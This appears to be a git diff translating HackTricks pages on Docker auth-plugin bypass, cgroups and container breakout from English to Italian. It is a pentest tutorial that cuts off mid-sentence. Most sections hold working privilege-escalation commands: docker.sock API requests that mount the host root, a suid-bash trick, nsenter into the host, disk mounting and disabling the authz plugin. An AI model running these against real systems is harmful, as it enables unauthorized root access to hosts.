`text/*` or `application/json` are sent. +Ogni richiesta inviata al plugin **include l'utente autenticato, le intestazioni HTTP e il corpo della richiesta/risposta**. Solo il **nome utente** e il **metodo di autenticazione** utilizzato vengono passati al plugin. È importante notare che **nessuna** credenziale o token dell'utente vengono passati. Infine, **non tutti i corpi di richiesta/risposta vengono inviati** al plugin di autorizzazione. Solo quelli in cui il `Content-Type` è `text/*` o `application/json` vengono inviati. -For commands that can potentially hijack the HTTP connection (`HTTP Upgrade`), such as `exec`, the authorization plugin is only called for the initial HTTP requests. Once the plugin approves the command, authorization is not applied to the rest of the flow. Specifically, the streaming data is not passed to the authorization plugins. For commands that return chunked HTTP response, such as `logs` and `events`, only the HTTP request is sent to the authorization plugins. +Per i comandi che possono potenzialmente dirottare la connessione HTTP (`HTTP Upgrade`), come `exec`, il plugin di autorizzazione viene chiamato solo per le richieste HTTP iniziali. Una volta che il plugin approva il comando, l'autorizzazione non viene applicata al resto del flusso. In particolare, i dati in streaming non vengono passati ai plugin di autorizzazione. Per i comandi che restituiscono risposte HTTP a chunk, come `logs` ed `events`, solo la richiesta HTTP viene inviata ai plugin di autorizzazione. -During request/response processing, some authorization flows might need to do additional queries to the Docker daemon. To complete such flows, plugins can call the daemon API similar to a regular user. To enable these additional queries, the plugin must provide the means for an administrator to configure proper authentication and security policies. +Durante l'elaborazione della richiesta/risposta, alcuni flussi di autorizzazione potrebbero aver bisogno di eseguire query aggiuntive al demone Docker. Per completare tali flussi, i plugin possono chiamare l'API del demone come un utente normale. Per abilitare queste query aggiuntive, il plugin deve fornire i mezzi affinché un amministratore configuri politiche di autenticazione e sicurezza appropriate. -## Several Plugins +## Diversi Plugin -You are responsible for **registering** your **plugin** as part of the Docker daemon **startup**. You can install **multiple plugins and chain them together**. This chain can be ordered. Each request to the daemon passes in order through the chain. Only when **all the plugins grant access** to the resource, is the access granted. +Sei responsabile della **registrazione** del tuo **plugin** come parte dell'**avvio** del demone Docker. Puoi installare **più plugin e concatenarli**. Questa catena può essere ordinata. Ogni richiesta al demone passa in ordine attraverso la catena. Solo quando **tutti i plugin concedono accesso** alla risorsa, l'accesso viene concesso. -# Plugin Examples +# Esempi di Plugin ## Twistlock AuthZ Broker -The plugin [**authz**](https://github.com/twistlock/authz) allows you to create a simple **JSON** file that the **plugin** will be **reading** to authorize the requests. Therefore, it gives you the opportunity to control very easily which API endpoints can reach each user. +Il plugin [**authz**](https://github.com/twistlock/authz) ti consente di creare un semplice file **JSON** che il **plugin** leggerà per autorizzare le richieste. Pertanto, ti offre l'opportunità di controllare molto facilmente quali endpoint API possono raggiungere ciascun utente. -This is an example that will allow Alice and Bob can create new containers: `{"name":"policy_3","users":["alice","bob"],"actions":["container_create"]}` +Questo è un esempio che permetterà ad Alice e Bob di creare nuovi contenitori: `{"name":"policy_3","users":["alice","bob"],"actions":["container_create"]}` -In the page [route_parser.go](https://github.com/twistlock/authz/blob/master/core/route_parser.go) you can find the relation between the requested URL and the action. In the page [types.go](https://github.com/twistlock/authz/blob/master/core/types.go) you can find the relation between the action name and the action +Nella pagina [route_parser.go](https://github.com/twistlock/authz/blob/master/core/route_parser.go) puoi trovare la relazione tra l'URL richiesto e l'azione. Nella pagina [types.go](https://github.com/twistlock/authz/blob/master/core/types.go) puoi trovare la relazione tra il nome dell'azione e l'azione. -## Simple Plugin Tutorial +## Tutorial Plugin Semplice -You can find an **easy to understand plugin** with detailed information about installation and debugging here: [**https://github.com/carlospolop-forks/authobot**](https://github.com/carlospolop-forks/authobot) +Puoi trovare un **plugin facile da capire** con informazioni dettagliate su installazione e debug qui: [**https://github.com/carlospolop-forks/authobot**](https://github.com/carlospolop-forks/authobot) -Read the `README` and the `plugin.go` code to understand how is it working. +Leggi il `README` e il codice di `plugin.go` per capire come funziona. -# Docker Auth Plugin Bypass +# Bypass del Plugin di Autenticazione Docker -## Enumerate access +## Enumerare l'accesso -The main things to check are the **which endpoints are allowed** and **which values of HostConfig are allowed**. +Le principali cose da controllare sono **quali endpoint sono consentiti** e **quali valori di HostConfig sono consentiti**. -To perform this enumeration you can **use the tool** [**https://github.com/carlospolop/docker_auth_profiler**](https://github.com/carlospolop/docker_auth_profiler)**.** +Per eseguire questa enumerazione puoi **utilizzare lo strumento** [**https://github.com/carlospolop/docker_auth_profiler**](https://github.com/carlospolop/docker_auth_profiler)**.** -## disallowed `run --privileged` - -### Minimum Privileges +## `run --privileged` non consentito +### Privilegi Minimi ```bash docker run --rm -it --cap-add=SYS_ADMIN --security-opt apparmor=unconfined ubuntu bash ``` +### Eseguire un contenitore e poi ottenere una sessione privilegiata -### Running a container and then getting a privileged session - -In this case the sysadmin **disallowed users to mount volumes and run containers with the `--privileged` flag** or give any extra capability to the container: - +In questo caso, l'amministratore di sistema **ha vietato agli utenti di montare volumi e di eseguire contenitori con il flag `--privileged`** o di dare ulteriori capacità al contenitore: ```bash docker run -d --privileged modified-ubuntu docker: Error response from daemon: authorization denied by plugin customauth: [DOCKER FIREWALL] Specified Privileged option value is Disallowed. See 'docker run --help'. ``` - -However, a user can **create a shell inside the running container and give it the extra privileges**: - +Tuttavia, un utente può **creare una shell all'interno del container in esecuzione e darle i privilegi extra**: ```bash docker run -d --security-opt seccomp=unconfined --security-opt apparmor=unconfined ubuntu #bb72293810b0f4ea65ee8fd200db418a48593c1a8a31407be6fee0f9f3e4f1de @@ -81,42 +76,38 @@ docker exec -it ---cap-add=ALL bb72293810b0f4ea65ee8fd200db418a48593c1a8a31407be # With --cap-add=SYS_ADMIN docker exec -it ---cap-add=SYS_ADMIN bb72293810b0f4ea65ee8fd200db418a48593c1a8a31407be6fee0f9f3e4 bash ``` +Ora, l'utente può uscire dal contenitore utilizzando una delle [**tecniche precedentemente discusse**](./#privileged-flag) e **escalare i privilegi** all'interno dell'host. -Now, the user can escape from the container using any of the [**previously discussed techniques**](./#privileged-flag) and **escalate privileges** inside the host. - -## Mount Writable Folder - -In this case the sysadmin **disallowed users to run containers with the `--privileged` flag** or give any extra capability to the container, and he only allowed to mount the `/tmp` folder: +## Montare una Cartella Scrivibile +In questo caso, l'amministratore di sistema **ha vietato agli utenti di eseguire contenitori con il flag `--privileged`** o di dare qualsiasi capacità extra al contenitore, e ha solo permesso di montare la cartella `/tmp`: ```bash host> cp /bin/bash /tmp #Cerate a copy of bash host> docker run -it -v /tmp:/host ubuntu:18.04 bash #Mount the /tmp folder of the host and get a shell docker container> chown root:root /host/bash docker container> chmod u+s /host/bash host> /tmp/bash - -p #This will give you a shell as root +-p #This will give you a shell as root ``` - > [!NOTE] -> Note that maybe you cannot mount the folder `/tmp` but you can mount a **different writable folder**. You can find writable directories using: `find / -writable -type d 2>/dev/null` +> Nota che potresti non essere in grado di montare la cartella `/tmp`, ma puoi montare una **differente cartella scrivibile**. Puoi trovare directory scrivibili usando: `find / -writable -type d 2>/dev/null` > -> **Note that not all the directories in a linux machine will support the suid bit!** In order to check which directories support the suid bit run `mount | grep -v "nosuid"` For example usually `/dev/shm` , `/run` , `/proc` , `/sys/fs/cgroup` and `/var/lib/lxcfs` don't support the suid bit. +> **Nota che non tutte le directory in una macchina linux supportano il bit suid!** Per controllare quali directory supportano il bit suid esegui `mount | grep -v "nosuid"` Ad esempio, di solito `/dev/shm`, `/run`, `/proc`, `/sys/fs/cgroup` e `/var/lib/lxcfs` non supportano il bit suid. > -> Note also that if you can **mount `/etc`** or any other folder **containing configuration files**, you may change them from the docker container as root in order to **abuse them in the host** and escalate privileges (maybe modifying `/etc/shadow`) +> Nota anche che se puoi **montare `/etc`** o qualsiasi altra cartella **contenente file di configurazione**, potresti modificarli dal container docker come root per **abusarne nell'host** e ottenere privilegi elevati (magari modificando `/etc/shadow`) -## Unchecked API Endpoint +## Endpoint API non controllato -The responsibility of the sysadmin configuring this plugin would be to control which actions and with which privileges each user can perform. Therefore, if the admin takes a **blacklist** approach with the endpoints and the attributes he might **forget some of them** that could allow an attacker to **escalate privileges.** +La responsabilità dell'amministratore di sistema che configura questo plugin sarebbe quella di controllare quali azioni e con quali privilegi ogni utente può eseguire. Pertanto, se l'amministratore adotta un approccio di **blacklist** con gli endpoint e gli attributi, potrebbe **dimenticarne alcuni** che potrebbero consentire a un attaccante di **escalare i privilegi.** -You can check the docker API in [https://docs.docker.com/engine/api/v1.40/#](https://docs.docker.com/engine/api/v1.40/#) +Puoi controllare l'API docker in [https://docs.docker.com/engine/api/v1.40/#](https://docs.docker.com/engine/api/v1.40/#) -## Unchecked JSON Structure +## Struttura JSON non controllata ### Binds in root -It's possible that when the sysadmin configured the docker firewall he **forgot about some important parameter** of the [**API**](https://docs.docker.com/engine/api/v1.40/#operation/ContainerList) like "**Binds**".\ -In the following example it's possible to abuse this misconfiguration to create and run a container that mounts the root (/) folder of the host: - +È possibile che quando l'amministratore di sistema ha configurato il firewall docker, abbia **dimenticato qualche parametro importante** dell'[**API**](https://docs.docker.com/engine/api/v1.40/#operation/ContainerList) come "**Binds**".\ +Nell'esempio seguente è possibile abusare di questa misconfigurazione per creare ed eseguire un container che monta la cartella root (/) dell'host: ```bash docker version #First, find the API version of docker, 1.40 in this example docker images #List the images available @@ -126,38 +117,30 @@ docker start f6932bc153ad #Start the created privileged container docker exec -it f6932bc153ad chroot /host bash #Get a shell inside of it #You can access the host filesystem ``` - > [!WARNING] -> Note how in this example we are using the **`Binds`** param as a root level key in the JSON but in the API it appears under the key **`HostConfig`** +> Nota come in questo esempio stiamo usando il **`Binds`** param come una chiave di livello root nel JSON ma nell'API appare sotto la chiave **`HostConfig`** ### Binds in HostConfig -Follow the same instruction as with **Binds in root** performing this **request** to the Docker API: - +Segui le stesse istruzioni come con **Binds in root** eseguendo questa **richiesta** all'API Docker: ```bash curl --unix-socket /var/run/docker.sock -H "Content-Type: application/json" -d '{"Image": "ubuntu", "HostConfig":{"Binds":["/:/host"]}}' http:/v1.40/containers/create ``` - ### Mounts in root -Follow the same instruction as with **Binds in root** performing this **request** to the Docker API: - +Segui le stesse istruzioni di **Binds in root** eseguendo questa **richiesta** all'API Docker: ```bash curl --unix-socket /var/run/docker.sock -H "Content-Type: application/json" -d '{"Image": "ubuntu-sleep", "Mounts": [{"Name": "fac36212380535", "Source": "/", "Destination": "/host", "Driver": "local", "Mode": "rw,Z", "RW": true, "Propagation": "", "Type": "bind", "Target": "/host"}]}' http:/v1.40/containers/create ``` - ### Mounts in HostConfig -Follow the same instruction as with **Binds in root** performing this **request** to the Docker API: - +Segui le stesse istruzioni di **Binds in root** eseguendo questa **richiesta** all'API Docker: ```bash curl --unix-socket /var/run/docker.sock -H "Content-Type: application/json" -d '{"Image": "ubuntu-sleep", "HostConfig":{"Mounts": [{"Name": "fac36212380535", "Source": "/", "Destination": "/host", "Driver": "local", "Mode": "rw,Z", "RW": true, "Propagation": "", "Type": "bind", "Target": "/host"}]}}' http:/v1.40/containers/cre ``` +## Attributo JSON non controllato -## Unchecked JSON Attribute - -It's possible that when the sysadmin configured the docker firewall he **forgot about some important attribute of a parameter** of the [**API**](https://docs.docker.com/engine/api/v1.40/#operation/ContainerList) like "**Capabilities**" inside "**HostConfig**". In the following example it's possible to abuse this misconfiguration to create and run a container with the **SYS_MODULE** capability: - +È possibile che quando l'amministratore di sistema ha configurato il firewall di docker **si sia dimenticato di qualche attributo importante di un parametro** dell'[**API**](https://docs.docker.com/engine/api/v1.40/#operation/ContainerList) come "**Capabilities**" all'interno di "**HostConfig**". Nel seguente esempio è possibile abusare di questa misconfigurazione per creare ed eseguire un container con la capacità **SYS_MODULE**: ```bash docker version curl --unix-socket /var/run/docker.sock -H "Content-Type: application/json" -d '{"Image": "ubuntu", "HostConfig":{"Capabilities":["CAP_SYS_MODULE"]}}' http:/v1.40/containers/create @@ -167,14 +150,12 @@ docker exec -it c52a77629a91 bash capsh --print #You can abuse the SYS_MODULE capability ``` - > [!NOTE] -> The **`HostConfig`** is the key that usually contains the **interesting** **privileges** to escape from the container. However, as we have discussed previously, note how using Binds outside of it also works and may allow you to bypass restrictions. +> Il **`HostConfig`** è la chiave che di solito contiene i **privilegi** **interessanti** per sfuggire dal container. Tuttavia, come abbiamo discusso in precedenza, nota come l'uso di Binds al di fuori di esso funzioni anche e possa permetterti di aggirare le restrizioni. -## Disabling Plugin - -If the **sysadmin** **forgotten** to **forbid** the ability to **disable** the **plugin**, you can take advantage of this to completely disable it! +## Disabilitare il Plugin +Se il **sysadmin** si è **dimenticato** di **vietare** la possibilità di **disabilitare** il **plugin**, puoi approfittarne per disabilitarlo completamente! ```bash docker plugin list #Enumerate plugins @@ -186,10 +167,9 @@ docker plugin disable authobot docker run --rm -it --privileged -v /:/host ubuntu bash docker plugin enable authobot ``` +Ricorda di **riattivare il plugin dopo l'escalation**, o un **riavvio del servizio docker non funzionerà**! -Remember to **re-enable the plugin after escalating**, or a **restart of docker service won’t work**! - -## Auth Plugin Bypass writeups +## Scritture di bypass del plugin di autenticazione - [https://staaldraad.github.io/post/2019-07-11-bypass-docker-plugin-with-containerd/](https://staaldraad.github.io/post/2019-07-11-bypass-docker-plugin-with-containerd/) diff --git a/src/linux-hardening/privilege-escalation/docker-security/cgroups.md b/src/linux-hardening/privilege-escalation/docker-security/cgroups.md index 82614f093..9b541d8dd 100644 --- a/src/linux-hardening/privilege-escalation/docker-security/cgroups.md +++ b/src/linux-hardening/privilege-escalation/docker-security/cgroups.md @@ -2,18 +2,17 @@ {{#include ../../../banners/hacktricks-training.md}} -## Basic Information +## Informazioni di Base -**Linux Control Groups**, or **cgroups**, are a feature of the Linux kernel that allows the allocation, limitation, and prioritization of system resources like CPU, memory, and disk I/O among process groups. They offer a mechanism for **managing and isolating the resource usage** of process collections, beneficial for purposes such as resource limitation, workload isolation, and resource prioritization among different process groups. +**Linux Control Groups**, o **cgroups**, sono una funzionalità del kernel Linux che consente l'allocazione, la limitazione e la priorità delle risorse di sistema come CPU, memoria e I/O del disco tra gruppi di processi. Offrono un meccanismo per **gestire e isolare l'uso delle risorse** delle collezioni di processi, utile per scopi come la limitazione delle risorse, l'isolamento del carico di lavoro e la priorità delle risorse tra diversi gruppi di processi. -There are **two versions of cgroups**: version 1 and version 2. Both can be used concurrently on a system. The primary distinction is that **cgroups version 2** introduces a **hierarchical, tree-like structure**, enabling more nuanced and detailed resource distribution among process groups. Additionally, version 2 brings various enhancements, including: +Ci sono **due versioni di cgroups**: versione 1 e versione 2. Entrambe possono essere utilizzate contemporaneamente su un sistema. La principale distinzione è che **cgroups versione 2** introduce una **struttura gerarchica, simile a un albero**, che consente una distribuzione delle risorse più sfumata e dettagliata tra i gruppi di processi. Inoltre, la versione 2 porta vari miglioramenti, tra cui: -In addition to the new hierarchical organization, cgroups version 2 also introduced **several other changes and improvements**, such as support for **new resource controllers**, better support for legacy applications, and improved performance. +Oltre alla nuova organizzazione gerarchica, cgroups versione 2 ha anche introdotto **diverse altre modifiche e miglioramenti**, come il supporto per **nuovi controller delle risorse**, un migliore supporto per le applicazioni legacy e prestazioni migliorate. -Overall, cgroups **version 2 offers more features and better performance** than version 1, but the latter may still be used in certain scenarios where compatibility with older systems is a concern. - -You can list the v1 and v2 cgroups for any process by looking at its cgroup file in /proc/\. You can start by looking at your shell’s cgroups with this command: +In generale, cgroups **versione 2 offre più funzionalità e migliori prestazioni** rispetto alla versione 1, ma quest'ultima può ancora essere utilizzata in determinate situazioni in cui la compatibilità con sistemi più vecchi è una preoccupazione. +Puoi elencare i cgroups v1 e v2 per qualsiasi processo guardando il suo file cgroup in /proc/\. Puoi iniziare a guardare i cgroups della tua shell con questo comando: ```shell-session $ cat /proc/self/cgroup 12:rdma:/ @@ -28,63 +27,56 @@ $ cat /proc/self/cgroup 1:name=systemd:/user.slice/user-1000.slice/session-2.scope 0::/user.slice/user-1000.slice/session-2.scope ``` +La struttura dell'output è la seguente: -The output structure is as follows: +- **Numeri 2–12**: cgroups v1, con ogni riga che rappresenta un diverso cgroup. I controller per questi sono specificati accanto al numero. +- **Numero 1**: Anche cgroups v1, ma esclusivamente per scopi di gestione (impostato da, ad esempio, systemd), e privo di un controller. +- **Numero 0**: Rappresenta cgroups v2. Non sono elencati controller, e questa riga è esclusiva nei sistemi che eseguono solo cgroups v2. +- I **nomi sono gerarchici**, somigliando a percorsi di file, indicando la struttura e la relazione tra diversi cgroups. +- **Nomi come /user.slice o /system.slice** specificano la categorizzazione dei cgroups, con user.slice tipicamente per le sessioni di accesso gestite da systemd e system.slice per i servizi di sistema. -- **Numbers 2–12**: cgroups v1, with each line representing a different cgroup. Controllers for these are specified adjacent to the number. -- **Number 1**: Also cgroups v1, but solely for management purposes (set by, e.g., systemd), and lacks a controller. -- **Number 0**: Represents cgroups v2. No controllers are listed, and this line is exclusive on systems only running cgroups v2. -- The **names are hierarchical**, resembling file paths, indicating the structure and relationship between different cgroups. -- **Names like /user.slice or /system.slice** specify the categorization of cgroups, with user.slice typically for login sessions managed by systemd and system.slice for system services. +### Visualizzazione dei cgroups -### Viewing cgroups - -The filesystem is typically utilized for accessing **cgroups**, diverging from the Unix system call interface traditionally used for kernel interactions. To investigate a shell's cgroup configuration, one should examine the **/proc/self/cgroup** file, which reveals the shell's cgroup. Then, by navigating to the **/sys/fs/cgroup** (or **`/sys/fs/cgroup/unified`**) directory and locating a directory that shares the cgroup's name, one can observe various settings and resource usage information pertinent to the cgroup. +Il filesystem è tipicamente utilizzato per accedere ai **cgroups**, divergendo dall'interfaccia delle chiamate di sistema Unix tradizionalmente utilizzata per le interazioni con il kernel. Per investigare la configurazione del cgroup di una shell, si dovrebbe esaminare il file **/proc/self/cgroup**, che rivela il cgroup della shell. Poi, navigando nella directory **/sys/fs/cgroup** (o **`/sys/fs/cgroup/unified`**) e localizzando una directory che condivide il nome del cgroup, si possono osservare varie impostazioni e informazioni sull'uso delle risorse pertinenti al cgroup. ![Cgroup Filesystem](<../../../images/image (1128).png>) -The key interface files for cgroups are prefixed with **cgroup**. The **cgroup.procs** file, which can be viewed with standard commands like cat, lists the processes within the cgroup. Another file, **cgroup.threads**, includes thread information. +I file di interfaccia chiave per i cgroups sono prefissati con **cgroup**. Il file **cgroup.procs**, che può essere visualizzato con comandi standard come cat, elenca i processi all'interno del cgroup. Un altro file, **cgroup.threads**, include informazioni sui thread. ![Cgroup Procs](<../../../images/image (281).png>) -Cgroups managing shells typically encompass two controllers that regulate memory usage and process count. To interact with a controller, files bearing the controller's prefix should be consulted. For instance, **pids.current** would be referenced to ascertain the count of threads in the cgroup. +I cgroups che gestiscono le shell tipicamente comprendono due controller che regolano l'uso della memoria e il conteggio dei processi. Per interagire con un controller, si dovrebbero consultare i file che portano il prefisso del controller. Ad esempio, **pids.current** sarebbe consultato per accertare il conteggio dei thread nel cgroup. ![Cgroup Memory](<../../../images/image (677).png>) -The indication of **max** in a value suggests the absence of a specific limit for the cgroup. However, due to the hierarchical nature of cgroups, limits might be imposed by a cgroup at a lower level in the directory hierarchy. +L'indicazione di **max** in un valore suggerisce l'assenza di un limite specifico per il cgroup. Tuttavia, a causa della natura gerarchica dei cgroups, i limiti potrebbero essere imposti da un cgroup a un livello inferiore nella gerarchia delle directory. -### Manipulating and Creating cgroups - -Processes are assigned to cgroups by **writing their Process ID (PID) to the `cgroup.procs` file**. This requires root privileges. For instance, to add a process: +### Manipolazione e Creazione di cgroups +I processi sono assegnati ai cgroups **scrivendo il loro ID di processo (PID) nel file `cgroup.procs`**. Questo richiede privilegi di root. Ad esempio, per aggiungere un processo: ```bash echo [pid] > cgroup.procs ``` - -Similarly, **modifying cgroup attributes, like setting a PID limit**, is done by writing the desired value to the relevant file. To set a maximum of 3,000 PIDs for a cgroup: - +Allo stesso modo, **modificare gli attributi del cgroup, come impostare un limite di PID**, viene fatto scrivendo il valore desiderato nel file pertinente. Per impostare un massimo di 3.000 PID per un cgroup: ```bash echo 3000 > pids.max ``` +**Creare nuovi cgroups** comporta la creazione di una nuova sottodirectory all'interno della gerarchia cgroup, il che spinge il kernel a generare automaticamente i file di interfaccia necessari. Anche se i cgroups senza processi attivi possono essere rimossi con `rmdir`, sii consapevole di alcune restrizioni: -**Creating new cgroups** involves making a new subdirectory within the cgroup hierarchy, which prompts the kernel to automatically generate necessary interface files. Though cgroups without active processes can be removed with `rmdir`, be aware of certain constraints: - -- **Processes can only be placed in leaf cgroups** (i.e., the most nested ones in a hierarchy). -- **A cgroup cannot possess a controller absent in its parent**. -- **Controllers for child cgroups must be explicitly declared** in the `cgroup.subtree_control` file. For example, to enable CPU and PID controllers in a child cgroup: - +- **I processi possono essere collocati solo in cgroups foglia** (cioè, i più annidati in una gerarchia). +- **Un cgroup non può possedere un controller assente nel suo genitore**. +- **I controller per i cgroups figli devono essere dichiarati esplicitamente** nel file `cgroup.subtree_control`. Ad esempio, per abilitare i controller CPU e PID in un cgroup figlio: ```bash echo "+cpu +pids" > cgroup.subtree_control ``` +Il **root cgroup** è un'eccezione a queste regole, consentendo il posizionamento diretto dei processi. Questo può essere utilizzato per rimuovere i processi dalla gestione di systemd. -The **root cgroup** is an exception to these rules, allowing direct process placement. This can be used to remove processes from systemd management. +**Monitorare l'uso della CPU** all'interno di un cgroup è possibile attraverso il file `cpu.stat`, che mostra il tempo totale di CPU consumato, utile per tracciare l'uso tra i subprocessi di un servizio: -**Monitoring CPU usage** within a cgroup is possible through the `cpu.stat` file, displaying total CPU time consumed, helpful for tracking usage across a service's subprocesses: +

Statistiche sull'uso della CPU come mostrato nel file cpu.stat

-

CPU usage statistics as shown in the cpu.stat file

+## Riferimenti -## References - -- **Book: How Linux Works, 3rd Edition: What Every Superuser Should Know By Brian Ward** +- **Libro: Come funziona Linux, 3ª edizione: Cosa ogni superutente dovrebbe sapere di Brian Ward** {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/README.md b/src/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/README.md index e19fddb22..8736c4e15 100644 --- a/src/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/README.md +++ b/src/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/README.md @@ -2,35 +2,24 @@ {{#include ../../../../banners/hacktricks-training.md}} -
+## Enumerazione Automatica & Fuga -\ -Use [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=docker-breakout-privilege-escalation) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ -Get Access Today: +- [**linpeas**](https://github.com/carlospolop/PEASS-ng/tree/master/linPEAS): Può anche **enumerare i container** +- [**CDK**](https://github.com/cdk-team/CDK#installationdelivery): Questo strumento è piuttosto **utile per enumerare il container in cui ti trovi e persino provare a fuggire automaticamente** +- [**amicontained**](https://github.com/genuinetools/amicontained): Strumento utile per ottenere i privilegi che il container ha per trovare modi per fuggire da esso +- [**deepce**](https://github.com/stealthcopter/deepce): Strumento per enumerare e fuggire dai container +- [**grype**](https://github.com/anchore/grype): Ottieni le CVE contenute nel software installato nell'immagine -{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=docker-breakout-privilege-escalation" %} - -## Automatic Enumeration & Escape - -- [**linpeas**](https://github.com/carlospolop/PEASS-ng/tree/master/linPEAS): It can also **enumerate containers** -- [**CDK**](https://github.com/cdk-team/CDK#installationdelivery): This tool is pretty **useful to enumerate the container you are into even try to escape automatically** -- [**amicontained**](https://github.com/genuinetools/amicontained): Useful tool to get the privileges the container has in order to find ways to escape from it -- [**deepce**](https://github.com/stealthcopter/deepce): Tool to enumerate and escape from containers -- [**grype**](https://github.com/anchore/grype): Get the CVEs contained in the software installed in the image - -## Mounted Docker Socket Escape - -If somehow you find that the **docker socket is mounted** inside the docker container, you will be able to escape from it.\ -This usually happen in docker containers that for some reason need to connect to docker daemon to perform actions. +## Fuga dal Socket Docker Montato +Se in qualche modo scopri che il **socket docker è montato** all'interno del container docker, sarai in grado di fuggire da esso.\ +Questo di solito accade nei container docker che per qualche motivo devono connettersi al demone docker per eseguire azioni. ```bash #Search the socket find / -name docker.sock 2>/dev/null #It's usually in /run/docker.sock ``` - -In this case you can use regular docker commands to communicate with the docker daemon: - +In questo caso puoi utilizzare i comandi docker regolari per comunicare con il demone docker: ```bash #List images to use one docker images @@ -44,14 +33,13 @@ nsenter --target 1 --mount --uts --ipc --net --pid -- bash # Get full privs in container without --privileged docker run -it -v /:/host/ --cap-add=ALL --security-opt apparmor=unconfined --security-opt seccomp=unconfined --security-opt label:disable --pid=host --userns=host --uts=host --cgroupns=host ubuntu chroot /host/ bash ``` +> [!NOTE] +> Nel caso in cui il **docker socket si trovi in un luogo inaspettato**, puoi comunque comunicare con esso utilizzando il comando **`docker`** con il parametro **`-H unix:///path/to/docker.sock`** + +Il daemon Docker potrebbe anche [ascoltare su una porta (di default 2375, 2376)](../../../../network-services-pentesting/2375-pentesting-docker.md) o su sistemi basati su Systemd, la comunicazione con il daemon Docker può avvenire tramite il socket Systemd `fd://`. > [!NOTE] -> In case the **docker socket is in an unexpected place** you can still communicate with it using the **`docker`** command with the parameter **`-H unix:///path/to/docker.sock`** - -Docker daemon might be also [listening in a port (by default 2375, 2376)](../../../../network-services-pentesting/2375-pentesting-docker.md) or on Systemd-based systems, communication with the Docker daemon can occur over the Systemd socket `fd://`. - -> [!NOTE] -> Additionally, pay attention to the runtime sockets of other high-level runtimes: +> Inoltre, presta attenzione ai socket di runtime di altri runtime di alto livello: > > - dockershim: `unix:///var/run/dockershim.sock` > - containerd: `unix:///run/containerd/containerd.sock` @@ -60,25 +48,23 @@ Docker daemon might be also [listening in a port (by default 2375, 2376)](../../ > - rktlet: `unix:///var/run/rktlet.sock` > - ... -## Capabilities Abuse Escape +## Abuso delle Capacità per l'Evasione -You should check the capabilities of the container, if it has any of the following ones, you might be able to scape from it: **`CAP_SYS_ADMIN`**_,_ **`CAP_SYS_PTRACE`**, **`CAP_SYS_MODULE`**, **`DAC_READ_SEARCH`**, **`DAC_OVERRIDE, CAP_SYS_RAWIO`, `CAP_SYSLOG`, `CAP_NET_RAW`, `CAP_NET_ADMIN`** - -You can check currently container capabilities using **previously mentioned automatic tools** or: +Dovresti controllare le capacità del container, se ha alcune delle seguenti, potresti essere in grado di evadere: **`CAP_SYS_ADMIN`**_,_ **`CAP_SYS_PTRACE`**, **`CAP_SYS_MODULE`**, **`DAC_READ_SEARCH`**, **`DAC_OVERRIDE, CAP_SYS_RAWIO`, `CAP_SYSLOG`, `CAP_NET_RAW`, `CAP_NET_ADMIN`** +Puoi controllare le capacità attuali del container utilizzando **strumenti automatici precedentemente menzionati** o: ```bash capsh --print ``` - -In the following page you can **learn more about linux capabilities** and how to abuse them to escape/escalate privileges: +Nella seguente pagina puoi **scoprire di più sulle capacità di linux** e come abusarne per sfuggire/escale i privilegi: {{#ref}} ../../linux-capabilities.md {{#endref}} -## Escape from Privileged Containers +## Fuga da Contenitori Privilegiati -A privileged container can be created with the flag `--privileged` or disabling specific defenses: +Un contenitore privilegiato può essere creato con il flag `--privileged` o disabilitando specifiche difese: - `--cap-add=ALL` - `--security-opt apparmor=unconfined` @@ -90,51 +76,44 @@ A privileged container can be created with the flag `--privileged` or disabling - `--cgroupns=host` - `Mount /dev` -The `--privileged` flag significantly lowers container security, offering **unrestricted device access** and bypassing **several protections**. For a detailed breakdown, refer to the documentation on `--privileged`'s full impacts. +Il flag `--privileged` riduce significativamente la sicurezza del contenitore, offrendo **accesso illimitato ai dispositivi** e bypassando **diverse protezioni**. Per una spiegazione dettagliata, fai riferimento alla documentazione sugli impatti completi di `--privileged`. {{#ref}} ../docker-privileged.md {{#endref}} -### Privileged + hostPID +### Privilegiato + hostPID -With these permissions you can just **move to the namespace of a process running in the host as root** like init (pid:1) just running: `nsenter --target 1 --mount --uts --ipc --net --pid -- bash` - -Test it in a container executing: +Con questi permessi puoi semplicemente **spostarti nello spazio dei nomi di un processo in esecuzione nell'host come root** come init (pid:1) eseguendo semplicemente: `nsenter --target 1 --mount --uts --ipc --net --pid -- bash` +Testalo in un contenitore eseguendo: ```bash docker run --rm -it --pid=host --privileged ubuntu bash ``` +### Privilegiato -### Privileged - -Just with the privileged flag you can try to **access the host's disk** or try to **escape abusing release_agent or other escapes**. - -Test the following bypasses in a container executing: +Solo con il flag privilegiato puoi provare ad **accedere al disco dell'host** o provare a **fuggire abusando di release_agent o altri escape**. +Testa i seguenti bypass in un container eseguendo: ```bash docker run --rm -it --privileged ubuntu bash ``` +#### Montaggio Disco - Poc1 -#### Mounting Disk - Poc1 - -Well configured docker containers won't allow command like **fdisk -l**. However on miss-configured docker command where the flag `--privileged` or `--device=/dev/sda1` with caps is specified, it is possible to get the privileges to see the host drive. +Container docker ben configurati non permetteranno comandi come **fdisk -l**. Tuttavia, su comandi docker mal configurati dove è specificato il flag `--privileged` o `--device=/dev/sda1` con maiuscole, è possibile ottenere i privilegi per vedere l'unità host. ![](https://bestestredteam.com/content/images/2019/08/image-16.png) -So to take over the host machine, it is trivial: - +Quindi, per prendere il controllo della macchina host, è banale: ```bash mkdir -p /mnt/hola mount /dev/sda1 /mnt/hola ``` +E voilà! Ora puoi accedere al filesystem dell'host perché è montato nella cartella `/mnt/hola`. -And voilà ! You can now access the filesystem of the host because it is mounted in the `/mnt/hola` folder. - -#### Mounting Disk - Poc2 - -Within the container, an attacker may attempt to gain further access to the underlying host OS via a writable hostPath volume created by the cluster. Below is some common things you can check within the container to see if you leverage this attacker vector: +#### Montaggio Disco - Poc2 +All'interno del container, un attaccante può tentare di ottenere ulteriore accesso al sistema operativo host sottostante tramite un volume hostPath scrivibile creato dal cluster. Di seguito ci sono alcune cose comuni che puoi controllare all'interno del container per vedere se puoi 